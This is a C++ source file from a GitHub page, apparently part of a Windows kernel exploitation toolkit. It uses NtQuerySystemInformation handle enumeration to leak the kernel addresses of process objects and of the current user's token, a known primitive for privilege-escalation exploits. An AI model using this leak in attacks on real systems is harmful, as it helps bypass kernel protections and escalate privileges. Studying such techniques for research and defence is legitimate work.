-
Notifications
You must be signed in to change notification settings - Fork 91
/
Copy pathKernelAddressLeak.cpp
345 lines (286 loc) · 8.7 KB
/
KernelAddressLeak.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
#pragma once
#include "stdafx.h"
#include "KernelAddressLeak.h"
//Helper functions
bool GetOSVersion(DWORD* majorVersion, DWORD* minorVersion);
BOOL QueryNtHandles(PSYSTEM_HANDLE_INFORMATION_EX* handleInfo);
//Returns true on success (and sets majorVersion and minorVersion). Returns false on failure.
bool GetOSVersion(DWORD* majorVersion, DWORD* minorVersion)
{
bool success = false;
if (IsWindowsVistaOrGreater())
{
success = true;
*majorVersion = 6;
*minorVersion = 0;
}
if (IsWindows7OrGreater())
{
*minorVersion = 1;
}
if (IsWindows8OrGreater())
{
*minorVersion = 2;
}
if (IsWindows8Point1OrGreater())
{
*minorVersion = 3;
}
return success;
}
BOOL QueryNtHandles(PSYSTEM_HANDLE_INFORMATION_EX* handleInfo)
{
BOOL functionSuccess = false;
ULONG handleInfoSize = sizeof(SYSTEM_HANDLE_INFORMATION_EX)+(sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)* 10000);
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; //Make status be an error so the loop starts.
*handleInfo = NULL;
HMODULE hModule = LoadLibraryW(L"ntdll.dll");
tNtQuerySystemInformation pNtQuerySystemInformation = (tNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
FreeLibrary(hModule);
if (pNtQuerySystemInformation == NULL)
{
printf("- Error: Cannot retrieve NtQuerySystemInformation address.\n");
goto Cleanup;
}
ULONG requiredSize = 0;
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
if (*handleInfo)
{
free(*handleInfo);
}
//Allocate space for NtQuerySystemInformation and call it
*handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSize);
ZeroMemory(*handleInfo, handleInfoSize);
status = (*pNtQuerySystemInformation)(SystemExtendedHandleInformation, *handleInfo, handleInfoSize, &requiredSize);
//If there isn't enough space in the buffer, increase the buffer size
if (NT_SUCCESS(status))
{
break;
}
else if (status == STATUS_INFO_LENGTH_MISMATCH)
{
ULONG additionalSpace = sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)* 1000;
if (ULONG_MAX - additionalSpace < requiredSize)
{
printf("- Error: Looping error increasing buffersize for NtQuerySystemInformation.\n");
goto Cleanup;
}
handleInfoSize = requiredSize + additionalSpace;
}
else
{
printf("- Error: Unexpected error from NtQuerySystemInformation. Error: 0x%x\n", status);
goto Cleanup;
}
}
printf("+ QueryNtHandles returning success: NtQuerySystemInformation returned %i entries.\n", (*handleInfo)->NumberOfHandles);
functionSuccess = true;
Cleanup:
if (!functionSuccess)
{
if (*handleInfo)
{
free(*handleInfo);
*handleInfo = NULL;
}
}
return functionSuccess;
}
BOOL LeakProcessObjectAddresses(HANDLE processId, PVOID** objectAddresses, size_t* objectCount)
{
BOOL functionSuccess = false;
*objectAddresses = NULL;
*objectCount = 0;
NTSTATUS status = 0;
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
USHORT processTypeIndex = 0;
HANDLE hCurrentProc = NULL;
//Get a real handle to the current process
DWORD currentProcId = GetCurrentProcessId();
hCurrentProc = OpenProcess(PROCESS_QUERY_INFORMATION, false, currentProcId);
if (hCurrentProc == NULL)
{
printf("- Unable to call OpenProcess for current process. Error code: 0x%p. Current process Id: %i", hCurrentProc, currentProcId);
goto Cleanup;
}
if (!QueryNtHandles(&handleInfo))
{
printf("- Error calling QueryNtHandles to retrieve kernel handles info.");
goto Cleanup;
}
size_t numRetrievedHandles = handleInfo->NumberOfHandles;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handleInfo->Handles;
//Need to determine what the ObjectTypeIndex value is for a process handle.
//To do this, look for the process handle of the current process (that was opened earlier) in our current process and look at its ObjectIndexType.
for (size_t i = 0; i < numRetrievedHandles; i++)
{
if ((handleEntry->UniqueProcessId == (HANDLE)currentProcId) && (handleEntry->HandleValue == hCurrentProc))
{
processTypeIndex = handleEntry->ObjectTypeIndex;
break;
}
handleEntry++;
}
if (processTypeIndex == 0)
{
printf("- Unable to determine the ObjectTypeIndex for PROCESS objects.\n");
goto Cleanup;
}
printf("+ Found ObjectTypeIndex for PROCESS objects: 0x%x\n", processTypeIndex);
//Loop through the target remote process and find PROCESS objects
handleEntry = handleInfo->Handles; //Reset this pointer
printf("+ Total handles retrieved: %i\n", numRetrievedHandles);
size_t numTargetHandles = 0;
for (size_t i = 0; i < numRetrievedHandles; i++)
{
if (handleEntry->UniqueProcessId == processId && handleEntry->ObjectTypeIndex == processTypeIndex)
{
numTargetHandles++;
//printf("= Process ID: 0x%x, Handle value: 0x%x, ObjectID: 0x%x, Address: 0x%x\n", handleEntry->UniqueProcessId, handleEntry->HandleValue, handleEntry->ObjectTypeIndex, handleEntry->Object);
}
handleEntry++;
}
//Allocate space for the needed handles.
*objectAddresses = (PVOID*)malloc(numTargetHandles * sizeof(PVOID));
*objectCount = numTargetHandles;
handleEntry = handleInfo->Handles; //Reset this pointer
//Fill in an array of pointers. Each pointer points to a PROCESS structure in kernel mode that the target process has an open handle to.
for (size_t i = 0, objectArrayIndex = 0; i < numRetrievedHandles; i++)
{
if (handleEntry->UniqueProcessId == processId && handleEntry->ObjectTypeIndex == processTypeIndex)
{
(*objectAddresses)[objectArrayIndex] = handleEntry->Object;
objectArrayIndex++;
}
handleEntry++;
}
functionSuccess = true;
Cleanup:
if (hCurrentProc)
{
CloseHandle(hCurrentProc);
hCurrentProc = NULL;
}
if (handleInfo)
{
free(handleInfo);
handleInfo = NULL;
}
if (!functionSuccess)
{
if (*objectAddresses)
{
free(*objectAddresses);
*objectAddresses = NULL;
*objectCount = 0;
}
}
return functionSuccess;
}
BOOL LeakAddressOfObjectByHandleInProcess(HANDLE hHandle, PVOID* tokenAddress)
{
BOOL functionSuccess = false;
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
DWORD currentProcessId = 0;
BOOL success = false;
currentProcessId = GetCurrentProcessId();
if (hHandle == NULL)
{
printf("- Error: hHandle cannot be NULL\n");
goto Cleanup;
}
//Get all kernel handles
if (!QueryNtHandles(&handleInfo))
{
printf("- Error calling QueryNtHandles to retrieve kernel handles info.\n");
goto Cleanup;
}
//Find the current token from the handles retrieved
printf("+ Retrieved all kernel handles. Looking for the address of the supplied token.\n");
size_t numRetrievedHandles = handleInfo->NumberOfHandles;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handleInfo->Handles;
for (size_t i = 0; i < numRetrievedHandles; i++)
{
if (handleEntry->UniqueProcessId == (HANDLE)currentProcessId && handleEntry->HandleValue == hHandle)
{
*tokenAddress = handleEntry->Object;
printf("+ The address of the hHandle object is: 0x%p\n", *tokenAddress);
functionSuccess = true;
goto Cleanup;
}
handleEntry++;
}
printf("- Error trying to locate hHandle in the returned kernel handles.\n");
Cleanup:
if (handleInfo)
{
free(handleInfo);
handleInfo = NULL;
}
return functionSuccess;
}
BOOL LeakCurrentUserTokenAddress(PVOID* tokenAddress)
{
BOOL functionSuccess = false;
DWORD currentProcessId = 0;
HANDLE hCurrentProcess = NULL;
HANDLE hProcessToken = NULL;
//Obtain a token for the current process
currentProcessId = GetCurrentProcessId();
hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, currentProcessId);
if (!hCurrentProcess)
{
printf("- Error opening current process. Error code: 0x%x\n", GetLastError());
goto Cleanup;
}
functionSuccess = OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken);
if (!functionSuccess)
{
printf("- Error opening process token. Error code: 0x%x\n", GetLastError());
goto Cleanup;
}
printf("+ Obtained a handle to the current process token.\n");
functionSuccess = LeakAddressOfObjectByHandleInProcess(hProcessToken, tokenAddress);
Cleanup:
if (hCurrentProcess)
{
CloseHandle(hCurrentProcess);
hCurrentProcess = NULL;
}
if (hProcessToken)
{
CloseHandle(hProcessToken);
hProcessToken = NULL;
}
return functionSuccess;
}
BOOL GetProcessIdByName(LPCWSTR processName, DWORD* processId)
{
PROCESSENTRY32 processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32);
BOOL returnValue = false;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!hSnapshot)
{
goto Cleanup;
}
BOOL success = Process32FirstW(hSnapshot, &processEntry);
while (success)
{
if (_wcsicmp(processName, processEntry.szExeFile) == 0)
{
*processId = processEntry.th32ProcessID;
returnValue = true;
goto Cleanup;
}
success = Process32Next(hSnapshot, &processEntry);
}
Cleanup:
if (hSnapshot)
{
CloseHandle(hSnapshot);
hSnapshot = NULL;
}
return returnValue;
}